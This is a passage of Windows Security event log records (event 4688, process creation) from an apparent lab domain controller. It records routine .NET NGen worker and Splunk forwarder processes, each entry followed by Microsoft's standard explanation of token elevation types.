	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12ac
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7c4 -InterruptEvent 0 -NGENProcess 7a0 -Pipe 75c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255143
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1278
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7ec -InterruptEvent 0 -NGENProcess 79c -Pipe 7e4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255142
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11b0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7f0 -InterruptEvent 0 -NGENProcess 79c -Pipe 78c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255141
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1248
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 75c -InterruptEvent 0 -NGENProcess 7f0 -Pipe 7bc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255140
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xda8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7a0 -InterruptEvent 0 -NGENProcess 78c -Pipe 7d8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255152
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x124c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 830 -InterruptEvent 0 -NGENProcess 810 -Pipe 820 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255151
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1254
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255150
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf3c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 81c -InterruptEvent 0 -NGENProcess 844 -Pipe 80c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255149
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10e4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 83c -InterruptEvent 0 -NGENProcess 6b0 -Pipe 834 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255148
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1214
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 810 -InterruptEvent 0 -NGENProcess 808 -Pipe 818 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255147
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10cc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 830 -InterruptEvent 0 -NGENProcess 7c4 -Pipe 7a0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255146
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2e4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 80c -InterruptEvent 0 -NGENProcess 81c -Pipe 828 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255156
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8a4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6b0 -InterruptEvent 0 -NGENProcess 858 -Pipe 85c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255155
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x264
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 83c -InterruptEvent 0 -NGENProcess 810 -Pipe 7f0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255154
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1110
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2f0 -InterruptEvent 0 -NGENProcess 368 -Pipe 2a0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255153
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9bc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255163
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1158
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255162
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd8c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 824 -InterruptEvent 0 -NGENProcess 7c4 -Pipe 344 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255161
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x598
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
